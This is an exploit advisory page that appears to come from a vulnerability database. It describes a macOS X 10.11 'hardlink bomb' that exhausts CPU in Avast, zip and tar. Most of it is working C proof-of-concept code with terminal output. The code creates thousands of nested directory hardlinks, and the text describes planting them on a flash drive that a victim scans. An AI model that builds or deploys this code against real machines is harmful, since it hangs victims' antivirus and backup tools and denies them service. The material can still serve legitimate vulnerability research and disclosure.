MacOS X 10.11 hardlink bomb cause resource exhaustion (Avast PoC)

Risk: Medium
Local: Yes
Remote: No
CWE: CWE-399

/* MacOS X 10.11 hardlink bomb cause resource exhaustion (Avast PoC) Credit: Maksymilian Arciemowicz ( CXSECURITY ) Website: Affected software: - Commands such as: zip, tar, find - AntiVirus: Avast, Eset32 Let's back to an old bug, which Apple does not patch until today. ---------------------------------------------- mac-cxs-XK:pochd XK$ cat test.c #include <stdio.h> #include <unistd.h> void usage(const char* program) { const char* message = " [src_dir] [target_dir]"; fprintf(stderr, "%s%s\n", program, message); } int main(int argc, char* argv[]) { if (argc!=3) { usage(argv[0]); return 1; } int ret = link(argv[1],argv[2]); fprintf(stderr,"link(3) return= %d\n", ret); return ret; } mac-cxs-XK:pochd XK$ gcc -o test test.c mac-cxs-XK:pochd XK$ ls test test.c mac-cxs-XK:pochd XK$ mkdir DIR1 mac-cxs-XK:pochd XK$ ./test DIR1 Hardlink1 link(3) return= -1 mac-cxs-XK:pochd XK$ mkdir DIR1/DIR2 mac-cxs-XK:pochd XK$ ./test DIR1/DIR2 Hardlink2 link(3) return= 0 mac-cxs-XK:pochd XK$ cd DIR1 mac-cxs-XK:DIR1 XK$ mkdir DIR2/DIR3 mac-cxs-XK:DIR1 XK$ ../test DIR2/DIR3 Hardlink3 link(3) return= 0 mac-cxs-XK:DIR1 XK$ cd DIR2 mac-cxs-XK:DIR2 XK$ mkdir DIR3/DIR4 mac-cxs-XK:DIR2 XK$ ../../test DIR3/DIR4 Hardlink4 link(3) return= -1 ---------------------------------------------- As we see is possible to create hardlink with some limitations. In presented PoC just two hardlinks were created what show that this possibility still exists and is in opposition to wikipedia's facts --- UNIX System V allowed them, but only the superuser had permission to make such links.[5] Mac OS X v10.5 (Leopard) and newer use hard links on directories for the Time Machine backup mechanism only. Symbolic links and NTFS junction points are generally used instead for this purpose. --- Maybe ‘Time Machine’ uses the same function 'link()' which Apple can't patch? I don't know but two hardlinks aren't threat for stability dissimilarly to 8192. The following program allows you to create N directories (default=1024) with 8 hardlinks on each level e.g. 1024 directories and 8192 hardlinks. For many programs special crafted file system, can be very difficult to handle. Two examples of groups of tools, which have this weakness: AV Tools and software for archiving. An example of a vector of attack for the AV tool is an external flash drive. If attacker create special crafted flash drive and victim will decide to scan this drive by using Avast, scanning will not end in normal time. After twenty hours of external media scanning 0% of progress so I decided to discontinue further scanning. Nevertheless Avast fell into the CPU exhaustion, which could not be stopped. On subsequent attempts of any scan Avast returned an error 7012. Archiving Tools zip(1), tar(1) also have problem with compressing 1024 directories and 8192 hardlinks. # zip -R B Scanning files ................ and no end in sight. after six hours I decided to stop further compressing. Other tools for data backup may not deal with such file system. BTW: don't try use ln(1) command. ☺ To create hardlink on MacOSX you need use link(3) function used in the following PoC ====== References =================================== ====== Thanks =================================== Kacper and Smash_ from DEVILTEAM for technical support. ====== Credit =================================== Maksymilian Arciemowicz from */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <err.h> #include <errno.h> #include <locale.h> int mkpath(char *path, mode_t mode, mode_t dir_mode){ struct stat sb; char *slash; int done,rv; done=0; slash=path; for(;;){ slash += strspn(slash,"/"); slash += strcspn(slash,"/"); done = (*slash=='\0'); *slash = '\0'; rv = mkdir(path, done ? mode : dir_mode); if(rv < 0){ int sverrno; sverrno = errno; if(stat(path,&sb)<0){ errno=sverrno; warn("%s",path); return -1; } if(!S_ISDIR(sb.st_mode)){ errno = ENOTDIR; warn("%s",path); return -1; } } else if (done){ if((chmod(path,mode)== -1)) { warn("%s",path); return -1; } } if(done){ break; } *slash = '/'; } return 0; } int main(int argc, char *argv[]){ if(argc!=2){ printf("Use it with (int)arg[1]. E.g. 8192\n"); return 1; } int wbita=atoi(argv[1]); const char symn1[]="X1\0", symn2[]="X2\0", symn3[]="X3\0", symn4[]="X4\0"; const char symn5[]="X5\0", symn6[]="X6\0", symn7[]="X7\0", symn8[]="X8\0"; char buff[]="B\0", cd[]="..\0"; char sym[]="B/B\0"; FILE *fp; int level=0; mode_t mode = ((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0)); mode_t dir_mode = mode | S_IWUSR |S_IXUSR; mkpath(buff,mode,dir_mode); // Step 0 while(1) if(0!=chdir(buff)){ printf("Phase 0 done\n"); break; } else printf("cd to already created dir on level: %i\n",level++); // Step 1 for(int ax=level; ax<wbita; ax++){ mkpath(buff,mode,dir_mode); printf("Directory created. Progress (%i/%i)\n",(ax+1), wbita); if(0!=chdir(buff)){ printf("Error. chdir() failed."); break; } } // Step 2 mkpath(buff,mode,dir_mode); chdir(buff); mkpath(buff,mode,dir_mode); chdir(cd); // Step 3 for(int ax=level; ax<wbita; ax++){ printf("=======================\ncd .. and HLs. Progress: (%i/%i) [be patient. latency may occur]\n",(ax+1),wbita); printf("Link1(%s,%s)=%i;\n",sym,symn1,link(sym,symn1)); printf("Link2(%s,%s)=%i;\n",sym,symn2,link(sym,symn2)); printf("Link3(%s,%s)=%i;\n",sym,symn3,link(sym,symn3)); printf("Link4(%s,%s)=%i;\n",sym,symn4,link(sym,symn4)); printf("Link5(%s,%s)=%i;\n",sym,symn5,link(sym,symn5)); printf("Link6(%s,%s)=%i;\n",sym,symn6,link(sym,symn6)); printf("Link7(%s,%s)=%i;\n",sym,symn7,link(sym,symn7)); printf("Link8(%s,%s)=%i;\n",sym,symn8,link(sym,symn8)); if(0!=chdir(cd)){ printf("Error. chdir failed!"); break; } } return 0; }


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top